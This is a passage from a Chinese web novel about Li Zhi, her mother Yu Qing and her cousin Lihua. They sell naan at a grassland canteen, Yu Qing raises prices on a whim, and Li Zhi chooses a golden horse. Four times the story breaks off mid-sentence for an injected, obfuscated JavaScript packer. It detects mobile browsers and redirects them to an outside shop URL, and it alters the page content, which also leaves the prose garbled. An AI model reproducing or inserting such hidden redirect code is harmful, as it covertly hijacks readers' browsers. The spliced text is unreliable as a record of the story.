该怎样对待河水,才能尽可能保持它的洁净?黎芝真不知道。 毕竟,京城城内根本就没有河流这种东西嘛。 “洗衣服的话,那和洗餐具差不多,肯定要在河里打过水,再在别的地方洗啊。”梨花说道,“这种东西,直接在河水里清洗的话,肯定会污染河水的。不能做这样的事情。” “那就好。”黎芝多少松了口气。 她听到梨花的解释,感觉只是这样洗餐具的话,对河水的污染伤害,应该不算很大, “没落下什么吧?”临走时,黎芝确认般地问道。 由于拿着的是银制餐具的关系,黎芝非常小心,生怕落下一个物件。 “应该没有。”梨花很自然地答道,“我记得我们只拿了这些而已。” “这样啊。”黎芝还是四处搜寻了一番,确定没有什么东西落下之后,才站起身准备回去了的。 两人洗好碗筷之后,就迅速走了回去。 这次,早饭还是在晚上吃饭的地方吃的。 大家的面前摆着的,是几大碗洁白的、看起来和奶实在没什么区别的热饮料。 “这是什么?奶吗?什么奶?”黎芝问道。 “就牛奶啊。”余庆疑惑地说道,“这还要问?” “我只是想确认一下嘛。”黎芝说道,“因为我不太爱喝羊奶……” “这确实不是羊奶。”余庆摇摇头,说道,“但是,你不爱喝羊奶是不对的。羊奶比牛奶更有营养,更适合人吸收,喝了也不上火。反倒是牛奶,不宜多喝。” “牛奶好喝啊……”黎芝有些委屈地嘟囔道,“羊奶太膻了啊。” “羊奶不是很膻。”余庆说道,“你是喝不惯才觉得膻,羊奶很好喝的啊。” “这样啊……也许吧。”黎芝一头雾水,只得点头表示同意。 “喝惯了的话,羊奶挺好喝的。”梨花小声说道,“荔枝姐可能是喝不惯,慢慢适应就好了。” 黎芝又点了点头,也对梨花的意思表示同意。 “对了,我们早上就喝奶吗?”看到桌上好像只有这些奶制品,黎芝觉得困惑。 “有馕。”余庆说道,“再过一会儿就能出锅了。” “哇!”这种东西刚出锅时的味道,黎芝还没品尝过呢,她觉得很期待。 过了说长不长、说短不短的一会儿,馕真的出锅了。 黎芝目测了一下,这次做了五六十个的样子。 “做这么多的话,什么时候才能吃完啊?”黎芝不安地说道,“这样子放着不会变质吗?天好像也挺热的。” “也不是我们自己吃。”余庆说道,“大部分要卖掉的。” “啊?原来能卖掉吗……”鉴于之前听到的,余庆说要开“民宿”但完全不挣钱的状态,黎芝真不太看好余庆所说的经营项目。 “能卖掉吧。”被黎芝这么一说,余庆居然流露出不怎么自信的模样了,她想了想又说道,“虽然你可能不信,但是我已经在这里开很久的‘食堂’了。” “能卖掉的啦。”梨花忍不住接话说道,“这个确实是能卖掉的‘畅销品’哦,荔枝姐不用担心的。” “不用担心吗?”黎芝困惑地嘟囔道,“但我总觉得……在这个地方……怎么有人会来买呢……” 黎芝的话音刚落,就有一人一马不知从哪里冲了过来。 “今天有‘馕’卖吗?”一开始黎芝以为是自己的父亲,但这人过来了,黎芝就知道不是了。 那人下了马,是个个子中等、身材壮实的男青年。 他约莫二十五六岁的样子,长相没有什么明显的特征。对黎芝的记忆力而言,就是“过目即忘”的类型。 “真巧。有的。”余庆略带得意地说道,“而且是才刚出锅的。” “这么巧?”那人看起来很高兴,一转头看到黎芝与梨花,他不由得问道,“这个我没见过的姑娘是谁啊?外地的旅客吗?” “跟你没关系。”余庆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376576|141028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 突然变得十分不耐烦起来,提高了音量问道,“你要几个馕?带口袋了吗?” “我要五个馕。”那人说道,“我没带口袋,你卖我一个‘白口袋’吧。” “六十文钱。”余庆冷淡地说道,“白口袋十文钱,馕也是十文钱。” “十文钱?”那人惊讶地说道,“我记得前几天还是口袋五文钱,馕八文钱的呢!” (好贵……) 黎芝在心里想,十文钱可以买十多个鸡蛋了吧?金黄诱人的馕虽然卖相不错,但不过是烤饼而已,为什么这么贵啊? 即使在物价很高的京城,十文钱也可以买两三个很大的素馅饼了。 虽然馕很好吃,但比起放油又有馅的馅饼来说,还是稍逊一筹的吧。 “涨价了。”余庆傲慢地说道,“你买不买?” “买。”青年无奈地说道,“就这样吧。” 这人真是个老实人。 明明是贵得这么不合理的情况,但他却痛快地从褡裢中数出六十文钱,拿了余庆装给他的馕就走了。 黎芝也看到了“白口袋”是什么东西。 那是一种一尺五寸见方的白色粗布口袋,做工很粗糙。不过看起来倒还干净,用来装没油的干粮也十分合适。 黎芝虽然并不怎么清楚成本,但在她的感觉中,比起卖馕,说不定卖“白口袋”的利润还更高的多。 那人一走,原本站在稍远处的梨花就惊讶地走了过去。 “舅妈,咱们家的馕和白口袋,是什么时候涨价的?”梨花困惑地问道。 看来,涨价这件事,连梨花也不知道的样子。 “刚涨价的。”余庆很不高兴地说道,“因为我心情不好。” (心情不好就能涨价啊?) 连黎芝都不由得为顾客不平起来了。 “妈妈,为什么心情不好啊……”黎芝小声问道。 “舅妈,为什么心情不好了呢?”梨花很普通地问道。 “因为,那个男的心怀不轨地望着你表姐,我心里十分不爽。”余庆说道,“所以涨个价泄愤。” “啊?他有心怀不轨地望着表姐吗?”梨花一头雾水地问道。 看来,她也不认为事情的性质与余庆说的一样。 “对啊……”黎芝只觉得母亲的愤怒来得莫名其妙。 在黎芝的感觉中,那个男的只是看了自己一眼而已。母亲至于用“心怀不轨”这种词语来形容他吗? “他竟然敢看你表姐!那一定是有不轨之心的。”余庆生气地说道,“不知道避嫌吗?这么漂亮的大美人是他看得的?识相点的话,就该把眼睛闭起来、或者至少转向一边吧?” “啊?”黎芝实在觉得,自己母亲的逻辑是有点不讲理了。 自己好好地穿着整齐端庄的衣服,光明正大地正常出门的话,别人怎么能想到黎芝是不可以看的存在呢? “可是……”梨花有点困惑地说道,“就算他不礼貌吧?那也只是针对他一个人就好了啊。为什么因为这样,咱们家的东西就直接涨价了啊?” “试试水而已。”余庆满不在乎地说道,“要是涨价就会导致卖的不好的话,那就说明‘馕’不是什么刚性需求,改卖别的东西好了。” 35. 第 35 章 (这……这么随意的吗?!) 对于母亲那匪夷所思、随心所欲的行为,黎芝不由得在心里、进行了歇斯底里的吐槽。 “这样好吗……妈妈……”虽然试图忍耐,但终究还是没能忍住,黎芝说道,“妈妈是讨厌我‘露脸’这件事吗?如果是这样的话,我可以戴面罩或者纱巾之类的出门的……” 虽然,对于母亲“讨厌女儿被看到脸”这件事,黎芝实在很感到诧异。 来到“大辉山”之后,黎芝暂时只见到了两个女性,一个是已婚人母的余庆,一个是比自己更年轻的妹妹梨花。 而这两个人,都没有遮挡脸的行为。 可见,在“大辉山”这里,应该并没有女性不得抛头露面的习惯吧。 那么,为什么别人看到女儿的脸时,余庆就会暴跳如雷、并且迁怒到让商品涨价呢?这一点真是让黎芝不明白。 但是,总而言之,如果只是遮挡住自己的脸,就能让余庆息怒的话,黎芝倒也不觉得有什么不好。 “那也太不舒服了吧。”余庆摇摇头,说道,“尤其是在这样的大热天,戴着面罩纱巾之类的出门,成何体统嘛?想想都闷死了,你竟然可以忍受?” 其实,黎芝并没有觉得“大辉山”这里很热。 也许是因为在京城生活惯了的关系吧? 对黎芝来说,“大辉山”这里气候清爽怡人,策马奔腾的时候更是凉快极了。 戴上面罩虽然会降低这种凉爽感,但应该还在黎芝能承受的程度之内才对。 “但是,如果不挡住脸,妈妈就会生气的话……我还是愿意把脸挡上吧。”黎芝温顺地说道,“这点闷热感的话,我是无所谓的。但是,我们不是开食堂的吗?妈妈总是涨价,会影响生意的吧?” “没关系。”余庆满不在乎地说道,“因为我涨价就不来买的这种顾客,我也不稀罕。” (但我可是很“稀罕”的啊!) (虽然不知道我们家的生意到底红不红火,但每个顾客都是应该珍惜的存在吧……) 这样与母亲鸡同鸭讲了半天,黎芝甚至都没搞清楚余庆生气的点到底是什么。 如果说,余庆讨厌的是“男人盯着年轻女孩子看”这种行为的话,那梨花被人盯着看的时候,她也应该生气才对。 难道说,因为不是自己的女儿,余庆就不心疼了吗? 但是,黎芝虽然是余庆的女儿,却只是刚见面、才认识一天的女儿。 从感觉上判断,余庆跟梨花的关系,明明应该比余庆跟黎芝的关系还要好一些才对。 尽管,余庆和梨花没有血缘关系,只是舅母与没有血缘关系的外甥女而已。如果两个人是姨母与外甥女的关系,就会更亲近了吧。但即使这样,余庆也应该更关心一些梨花的遭遇吧。 (妈妈,是不是有点太偏心了……) 虽然余庆偏心的对象是自己,但黎芝并不觉得开心。 不知是不是身为姐姐都会产生的义务感,黎芝希望母亲也能对梨花更关爱一些。 也许是因为第一次当姐姐的缘故,难免有些“用力过猛”的心态吧。 不管怎么说,黎芝还是觉得余庆的反应实在很奇怪。 大概是因为,黎芝还没摸清余庆的性格,所以觉得奇怪吧。 (“互相理解”这种事情也是急不得的,慢慢来吧。) 早上才刚刚开始,就引发了这种小规模的骚动,让黎芝的心里觉得很不自在。 到底为什么会发生这种事情?搞不清楚状况的她,只得努力不去介意。 “好啦,宝宝们先吃饭吧。”余庆端着三张馕走了过来。 这种馕的体积,看起来相当大。光是直径就有一尺,厚度也有一指半。 它呈现出一种金黄为主、略带棕红的颜色。 看起来就十分酥脆美味,上面还撒满了白色与黑色的芝麻。 新出炉的馕很热,但只要不紧紧捏住的话,就感觉不到烫手。 虽然看起来没有放多少油,但散发出的麦香且极为浓郁,光是闻闻都觉得食欲大开了。 然后,余庆十分自然地用金属夹子递给了黎芝一张馕。 这种夹子,应该是分馕或饼专用的工具。 用夹子夹起来放在盘子上或者白口袋里的话,比直接用手接触卫生、又比用筷子夹着分配安全。 毕竟,这种馕是直径一尺、厚度一指半的大块食物,用筷子夹不住简直太正常了。 “这个……怎么吃啊?从边缘开始,直接咬下去吗?”看到这个,黎芝有些手足无措地问道。 以前,黎芝没有见过这么大块的饼类食物。因此,今天接触的时候,黎芝对此莫名有些忌惮。 “怎么吃都可以呀。”余庆慈爱地笑道,“这东西又没有定过吃的规矩,喜欢怎么吃就怎么吃呗,别紧张。” “不是……我不是怕犯规矩。”黎芝哭笑不得地说道,“我只是觉得,这东西看起来很不好下口啊,它太大了。我想……让妈妈教我简单的吃法嘛。” “这个嘛,你这么一说,我还真不知道怎么教你呢。”余庆又想了想,说道,“我们这里的吃法很自由,我自己就是‘从头咬’的。你不喜欢,是这样吗?” “嗯,确实不怎么喜欢……”黎芝摇摇头,无奈地说道,“这样大的馕,吃起来的时候,嘴要张得很大,那会很难受的吧。” “唔……那么,荔枝姐,我来说个我发明的吃法吧。”梨花禁不住举起手,说道,“我的做法是,把馕像这样,掰成一块儿一块儿的……” 梨花一边说,一边用手掰了起来。 过了一小会儿,梨花就把馕掰成了比麻将牌还要小一些的不规则小块。 “这……这不是掉了好多渣吗?”黎芝看了,有点心疼地说道,“看起来很浪费啊。” “这是在盘子上面掰的嘛。”梨花爽朗地说道,“掰馕时的渣子,也落在盘子里了。不愿意浪费的话,之后吃掉就行啦。” “就算这样……”黎芝依然不太适应梨花的做法,她说道,“我觉得,渣子吃起来实在不太方便啊。你是怎么吃的,用汤匙舀着吃吗?” “不,倒进碗里就好了。”梨花说道,“这不是有现成的牛奶碗吗?都倒进碗里去,用牛奶泡着吃就行了。” “这样的话……虽然不是不行……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376577|141028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黎芝有点不甘心地说道,“但这样不就不脆了吗?真的好吗?” “没关系的。”梨花说道,“这样短时间浸泡一下就捞出来的话,只是外面变软了,里面还是焦脆的。而且,‘羊肉泡馕’也是直接把馕放在汤里浸泡出来的啊。如果荔枝姐真的不喜欢的话,也可以像你说的那样,直接用汤匙舀着吃的。” “我知道了。谢谢梨花。”梨花的建议让黎芝感到古怪、不太能释然,但黎芝还是决定按梨花教给自己的方法吃好了。 于是,黎芝选择在牛奶碗上面掰开馕。 这样一来,渣子就都掉进了牛奶里。诚如梨花所说,应该不算浪费的。 掰开的馕块,黎芝则没有丢进牛奶碗里,而是直接送进了自己口中。 “原来是这个口感和味道……很好吃啊……”品尝着这种奇异的烤饼滋味,黎芝有种出神的感觉。 烤制出来的馕,难免有点硬,但硬的程度还算可以接受。 从外观上看,它金黄焦脆、十分诱人。 但这只是表面而已,实际比黎芝以前吃过的酥脆饼类食物要硬的多。 不过却又没有硬到难以下咽的程度,只能说确实很有嚼头、令人难忘就是了。 馕是咸味的,似乎放了一点点香辛料,让黎芝吃的时候联想到了自己以前吃过的某种烤饼或烧饼。 但馕的口感与麦香,却是相当特别,是黎芝迄今为止的人生里没有尝过的独特味道。 (这可能是我吃过的最好吃的饼……) 之后,黎芝还是把一部分馕块丢进了牛奶里,试了试口味。 这样浸泡了一会儿之后,饼的外皮变得柔软了许多。 吸了许多牛奶,但并没有被泡胀、泡得软烂的迹象,滋味与口感反而因为被牛奶的柔和滋润感所中和,变得更容易食用了。 “那,我们的早餐就只吃这些馕吗?”黎芝忍不住问道。 由于受到京城生活习惯影响的缘故,黎芝总觉得,这样吃味道尽管不错,但缺了点什么似的。 “不然呢?”余庆不太理解黎芝的意思,困惑地反问道,“难道你打算一大早就吃羊肉泡馕吗?这有点‘重口味’了吧?那也太咸了点儿……” 羊肉泡馕也算重口味吗? 黎芝觉得倒是还好,可能对没吃惯的人是有点重口味吧? 但是,就连初次品尝的黎芝,都不认为羊肉泡馕重口啊。 生活在草原上、吃惯了这类东西的人,又怎么会这么想呢……黎芝真搞不懂。 “我的意思是……我们要不要……”黎芝一时也不知道该怎么描述表达自己的意思才好了,她说道,“比如说,早上的时候,我们除了吃这些饼,还可以吃鸡蛋啊。” “鸡蛋?”余庆说道,“你非常喜欢吃鸡蛋是吗?” “怎么说呢,只是一般吧……”黎芝说道,“不算非常喜欢,但肯定也不讨厌啦。我只是觉得,加入鸡蛋会比较有营养而已。比起只吃馕和牛奶的早餐,加一些鸡蛋会更加营养均衡吧?” “那就参考你的建议吧。”余庆想了想,稍微有些平淡地说道,“明天,我早上做饭的时候,也煮一些鸡蛋好了。” 36. 第 36 章 “不要煮鸡蛋……”仅仅听到“煮鸡蛋”这个词,就足以唤醒黎芝的心理阴影。 她最讨厌这种口感偏硬又不入味的鸡蛋了。 “不要煮鸡蛋?”余庆当然无法共鸣黎芝的感受,她问道,“为什么呢?煮鸡蛋还有什么禁忌吗?” “没什么禁忌吧……”黎芝说道,“我只是单纯不喜欢用水煮的方式做成的鸡蛋而已。当然,我也不喜欢做法类似的茶叶蛋。” “那也不喜欢‘卤蛋’吗?”余庆的声音,听起来有些遗憾的意味。 (妈妈难道很喜欢卤蛋?) “卤蛋可以啊。”黎芝点点头,说道,“我只是不喜欢用水煮的方式做成的鸡蛋,但不是讨厌所有煮制出来的鸡蛋啊。” 似乎依然丧失了对“卤蛋”的兴趣,余庆只是问道:“那你喜欢怎么做的鸡蛋呢?” “要我说吗?”黎芝说道,“我觉得做‘奶冻’就挺好的。” “那岂不是‘牛奶’配‘奶冻’了?”余庆困惑地问道,“‘奶’的含量在这里太高了吧?这样还有你说的‘营养价值’了吗?” “这个,倒也是哦……”黎芝迷惑地说道,“那么,煎鸡蛋或者炒鸡蛋吧。我觉得,鸡蛋如果不过油的话,简直没法吃……” “那样的话……太容易凉了。”余庆遗憾地说道,“凉了的话,也会非常难吃的吧。” “现做现吃呗?”黎芝不明白余庆是什么意思,她说道,“妈妈本来是打算怎么做的?难道妈妈不喜欢吃过油的鸡蛋吗?” “是这样的……水煮蛋,茶蛋,卤蛋这样的东西,我们完全可以‘批量制作’,用水煮一下就好了。”余庆说道,“但按你的喜好做的鸡蛋,我们销售会很不方便的呀?” “这也要卖吗……”黎芝苦笑着说道,“‘商品’是可以当成‘自己家吃的东西’没错啦。但‘我们自己家吃的东西’,可以不都是‘商品’的啊。” “但是,我们自己吃自己卖的东西的话,看起来会更有说服力啊。”余庆很认真地说道,“你想想,如果一个商家在你面前吃他家商品的话,你是不是会对这家的食品质量更加信任,想要尝尝呢?” “这个,我也不知道……”黎芝有点困惑,她说道,“摊主是不是吃自己家做的东西,我一般不考虑这一点的。我主要考虑的是,这家人卖的东西我爱不爱吃……” “算了,那就这样吧。”余庆似乎为自己没能说服黎芝感到遗憾,不过她也没有继续再说下去的动力,她说道,“明天开始,我给你煎鸡蛋或者炒鸡蛋吧。” “啊,妈妈不用这么刻意对待我的……”黎芝听了倒是感到难堪,她说道,“差不多就好。要是妈妈自己也想吃的时候,再这么做吧。如果只是给我一个人这么做,我实在觉得太难堪了。” (早知道的话,就说自己喜欢“卤蛋”好了,哪怕说自己喜欢“茶叶蛋”,也比现在的情况自然多了……) “不给你一个人做也可以。”余庆说道,“梨花要吃吗?梨花吃的话,我明天也给梨花做炒鸡蛋。” “我吃。”梨花率真地说道,“如果我也吃的话,荔枝姐就不会为一个人吃鸡蛋感到难堪了吧。” (这种理由,一般人不会说出来吧……梨花真是个奇怪的孩子。) “这孩子真是个好人啊。”黎芝只觉得有点哭笑不得,不由得用类似旁白的口气说起了话。 “那么,谢谢荔枝姐的表扬?”梨花疑惑地说道,“不过这个表扬让我觉得很奇怪。荔枝姐下次再说的普通一些吧。” 梨花的反应,倒是让黎芝觉得自己疑似有些阴阳怪气了。她不由得反省了一下自己。 “也不算是表扬啦……”黎芝摇摇头,苦笑着说道,“别管这些啦。我胡说八道的。” 于是,今天的早餐就在胡说八道中,莫名其妙地结束了。 (还真是这么单调的早餐啊……) 话虽如此,黎芝却是也没有觉得失望。 “今天要我种菜吗?”饭后,黎芝担心余庆忘记了这件事,又说出来确认了一番。 “嗯,菜籽已经给你了嘛。”余庆说道,“不过,你记得这回事就行了,不是非得今天种菜。别扔了,别忘了,记得这两条就好了。也不必有什么心理负担。毕竟,就像你说的,陈年菜籽,有可能连苗都长不出来。” “好的,我知道了,妈妈。”黎芝说完,就和梨花一起又回去洗碗筷等餐具了。 这次的黎芝吸取了教训,带了一个大盆一起去。 大盆还能用来盛装与运送餐具,这反而比上次直接用手拿着餐具来洗更加方便。 餐具很快就洗好了。之后,表姐妹俩把餐具拿回“食堂”后厨,收起来放在铁柜里。 黎芝简单地观察了一下,那些馕似乎确实很好卖。 但买主基本都是买一个或者自带口袋,把馕拿走的。 没什么人在“食堂”里堂食,这让黎芝多少感到有些不安。 (大家都不堂食的话,利润会很低吧……算了,先不考虑这种事情了。) 饭后,黎芝准备和梨花一起离开这里,做点类似“熟悉环境”之类的事情。 一旁的“菊花青”马甚至都没走远,就在附近吃草或者做着什么黎芝没有看清楚的事情。 “那么我们现在去种菜吗?”黎芝看着梨花问道。 “等一下,我觉得应该问问舅妈。”梨花的反应却是摇摇头,朝余庆的方向走了过去,她叫道,“舅妈!” “什么事儿?”余庆问道。 此时,余庆已经把烤炉里卖剩的馕都拿了出来,放在了一个干净的大筐里。 大筐上盖着一块雪白的棉布,看起来防尘效果应该很好。 “舅妈,我觉得你应该给荔枝姐准备一匹马了。”梨花直率地说道,“荔枝姐说想学骑马,我觉得我可以教她。但是,我觉得用‘菊花青’来教她不太好吧,那毕竟是我的马,培养感情也没有什么意义。我觉得,荔枝姐需要一匹专属于她自己的马。” “啊……”站在稍远处的黎芝,感到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376578|141028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很惊讶。 梨花说的事情,本来是她自己应该关心的才对。 她也的确想过要对余庆说这件事,但不知道为什么,想过之后很快就忘记了。 反倒是梨花,一直记在心上,还代替黎芝提了出来。她的行为让黎芝格外感动。 “你说的有道理……”余庆若有所思地说道,“她确实应该有一匹专属的马比较好。但选哪一匹,我现在也不太有头绪。等之后我想明白了再说吧。” “我有头绪。”梨花勇敢地说道,“我觉得,应该吹哨集合我们家所有的马,让表姐挑选。表姐最喜欢的那匹,就归她吧。” “这倒是个不错的主意。”余庆赞同地点点头,说道,“那我吹哨试试。” 原来,需要集合所有的马时,哨音也是非常复杂的。 余庆吹了半天,黎芝却不知道该如何描述那种哨音的节奏。 她只能词穷地用“非常复杂”来形容而已。 过了约有一炷香功夫,这些马才陆陆续续地都来了。 “这么多……”黎芝惊讶地说道。 她本以为自家只有几十匹马的。 但这些马过来的时候,黎芝粗略一扫视,虽然不知道具体有多少,但绝对达到三位数了。 “好像有的不是我们家的啊……”梨花看了看说道,“这样没问题吗?似乎并不都是我们家的啊。” “没问题。”余庆也仔细看过之后,她反而变得更自信了一些,说道,“虽然不是我们家的,但那些都是‘野马’。野马就是无主的马,跟着我们家的马待上一阵子的话,和我们自己家的马也差不多啦。” “这里还有野马吗?”黎芝觉得非常惊奇,她说道,“野马为什么会来我们家呢?” “我们这里说的‘野马’,和荔枝姐想的‘野马’可能不一样……”梨花说道,“我们这里的‘野马’,指的是‘流浪马’的意思啦。就是有些家养的马突然不回家、不回应主人的指令了,这种马和它们生的小马,我们就叫‘野马’,并不是真正的‘野生马’啦。它们虽然名字叫‘野马’,但保留了‘家马’的习性,并不算凶,不要担心。” “这样啊……那果然和我想的不一样呢。”居然是这么普通的答案,黎芝不由得感到有些无聊。 “跟我们自己家的马比较熟悉吧。”余庆说道,“虽然野马也勉强可以算是我们家的马,但我还是不建议你选择野马。” “为什么呢?”黎芝本来就没有相关的意愿,她只是好奇余庆的建议有什么缘故而已。 “我们自己家的马,都受过一定的骑马训练。已经驯化了,适合骑乘。”余庆说道,“但野马既然是野马,自然就没有经受过任何的驯化,完全不懂规矩,如果你选择了野马,为了骑还要自己进行训练,很不方便的。更何况你还是新手,野马对你来说就更是格外不适合了。” “那……让野马们先走吧?”黎芝说道,“我分不清是野马还是家马,既然野马这么不安全,那我只在家马那里挑选就好了吧?” 37. 第 37 章 “其实呢,我倒是不太建议这么武断地做出决定啦。”余庆摇摇头,玄妙地说道,“比起野马还是家马的区别,‘缘分’反而更重要吧。你挑选时最喜欢的马,就算是野马,也应该可以和你相处得很好才对。” “这样吗……”黎芝听了余庆的话,有些哭笑不得。 余庆既然是如此想的,那她还为什么建议自己不要挑选野马呢? 既然,本来就有很多马是野马了。 自己还不排除野马、而是只关心从中挑选自己喜欢的马的话,那么,选中野马的概率岂不是非常的高吗? 可能,余庆本来就不在意这些,她只是随便一说而已吧。 想到这个解释,黎芝有点郁闷。 不过,她还是迅速振作起来、鼓起勇气开始挑选马了。 由于马的数量高达三位数,就算黎芝再怎么判断迅速,也还是挑了好长好长时间才做出决定。 通常来说,如果是小说的话,黎芝在这时挑选到的肯定是野马才对。 那之后的“剧情”,应该是黎芝花上许多时间去训练、磨合野马,最后与它建立了牢固的情谊,成为了不可分割的组合吧? 这就是写小说时通常使用的“套路”了。 虽然黎芝并没有生活在小说里,但是她毕竟看过很多小说,难免会有这一类的思维。 因此,在挑选的时候,黎芝也确实想过,这个挑选马的事件之后,接下来会出现小说一般的展开的可能性。 (我果然还是不想选野马。如果真的选到了的话,我就要求重新选择吧。) 当时,想到这一点的时候,黎芝还非常紧张。 但是,事实果然证明,生活就是生活,并不是小说。当然,也并不适用于小说里建立起来的“规矩”与“规则”。 黎芝精心挑选出来的、认为与自己非常投缘的那匹马,恰恰真的是一匹强壮健康的家马。 知道这件事的时候,黎芝还一度十分失望。因为,这样一来,就显得不够小说了。 尽管黎芝也不是特别希望生活在小说世界里,但与自己熟悉的套路偏差那么大的话,黎芝还是有点不开心的。 真是两难的想法。 这是一匹毛色非常稀有的马。 它的皮毛油亮水滑,摸上去竟然有种绸缎般的质感。 而颜色则更为稀奇,是一种类似暗金色的奇妙黄色。 “这是来自西域的马呢。”余庆略有些欣喜地说道,“以前有人欠我家账的时候,把这匹马抵押给了我们。过去,这马非常不听话,我们以为没人能骑,认为它是无用的存在。但它跑得非常快,我们就一直养着了。没想到荔枝选中的居然是它啊!要是它真能听你的话就好了。” “居然是这么稀有的马吗?”黎芝有些惊讶,她说道,“我还以为,这就是传说中的‘黄骠马’呢?它难道不是大夏自古以来的马种吗?” “这不是‘黄骠马’,这是‘黄金之马’,简称‘金马’。”余庆斩钉截铁一般地说道,“‘黄骠马’是很瘦弱的马,上面还有类似白点的杂毛,哪里有这匹马那么强壮矫健、毛色美丽呢?” “原来,这不是‘黄骠马’啊?”猜错之后,黎芝不知道该不该失望,她说道,“为什么这马不听话,却可以被哨子叫过来呢?” “不听人话的马,也一样会关心哨子的声音。”余庆轻描淡写地说道,“动物都是‘随大流’的。同伴跑的话,它也会跟着跑。大不了,过来之后不满意就逃走啦。” “原来是这样啊……”黎芝懵懂地点点头,问道,“对了,既然这匹马不是野马,它的身上为什么没有装马鞍马镫辔头呢?” “它不听话嘛!”余庆说道,“没人能骑它,它又不亲人,自然就不能装辔头马鞍之类的配件了。” “是这样吗……但是,它看起来并不讨厌我,这是为什么呢?”黎芝开始茫然了。 “这个,我也不清楚。”余庆说道,“可能这就是‘缘分’吧。也是好事啦。” “但这样的话,我怎么骑马呢?”黎芝有些迷茫,她说道,“难道我要在没有马鞍辔头等配件的情况下,直接骑马吗?” “我想,现在就骑马的话,恐怕确实是这样的。”余庆遗憾地说道,“因为这匹马非常讨厌被安装那些马具的关系,如果给它装上的话,它会闹腾的。你可以试试能不能直接骑上去,要是它肯听你话、让你骑上的话,那就迁就它一下好了。” 听了母亲的话,黎芝竟然有些无话可说。 这难道是自己的宿命吗? 之前的两次骑马的经验,全都是在没有马具的情况下骑马的。难道,自己命里是不该使用马具的? 黎芝一时没了主意,便说道:“那么,妈妈,把我抱上去吧,我来试试看。” “这真的可以吗?”在一旁的梨花却是非常紧张,她说道,“荔枝姐是新手中的新手啊!让她上来就骑这种无马具的马?这多么危险啊!不行的吧!” “我觉得没问题。”余庆却是一点都不紧张,她说道,“与其说,这匹马是被荔枝选出来的,不如说是它选中了荔枝作为主人。马是极为聪明的动物,它怎么会伤害自己选中的主人呢?” “可是……”梨花焦急地摇摇头,说道,“这看起来就是很危险啊。真的没问题吗?” “愿赌服输。”黎芝想了想,对梨花说道,“如果它选择了我又背叛我的话,那这就是我的宿命了。但在那之间,我想要相信它。赌一把吧……” (就算被它摔下来,我也不会后悔的……) 黎芝无端地这么想着。 于是,黎芝被抱到了这匹“黄金之马”的马背上。 这匹马表现得非常安静,几乎一动不动。 出乎意料地温顺老实。 “我该做什么才好呢?”黎芝询问母亲与表妹的意见。 虽然黎芝不明白自己现在面对的是什么状况,但由于感觉不到危险的关系,她的胆子也变大了些。 “嗯,正常来说,这时是应该用小腿轻轻夹一下马肚子,让它自由前进。”梨花有些烦恼地说道,“马缰绳拉一下是后退,左右拽是控制它的前进方向,应该是这样的。但是,荔枝姐的马没有马具,而且也不亲人,我不知道这样一来还能不能用骑马的惯例来指挥它了。” “你就随便骑吧。”余庆给出的建议 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376579|141028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还要更加粗放,她说道,“新手最重要的事情,是跟它熟悉起来。不要考虑该怎么做,你在马背上的每一刻钟都是你的进步和胜利。坐久了自然就领悟出来技巧了。” “这样吗……”总觉得母亲和表妹的建议没什么用,黎芝疲惫地叹了口气。 她想了想,还是用脚踝的部分挤压了一下马肚子,试图让马儿理解自己的意思。 最初挤压马腹的时候,这匹马一动不动,让黎芝有点挫败。 本来,为了催促它,黎芝是想再重新挤压一下的。 但她想了想,觉得马儿的情绪也很重要,便索性顺其自然了起来。 爱怎样就怎样吧,它不发狂把自己掀下来就已经很不错了。 黎芝对本次骑马的期待很低。 “对了,它叫什么名字啊?”黎芝问道,“原来有名字吗?” “忘了。”余庆苦笑着说道,“因为它不听话,我们都不怎么关心它。只偶尔喂喂它、擦洗擦洗而已。它本来应该有名字的,但因为从不称呼的缘故,早就已经不记得了。没关系,你可以再给它一个新名字啊。” “那……”黎芝沉吟起来。 她最初联想到的名字就是“阿黄”。 不过,这听起来似乎和狗的名字重复了。 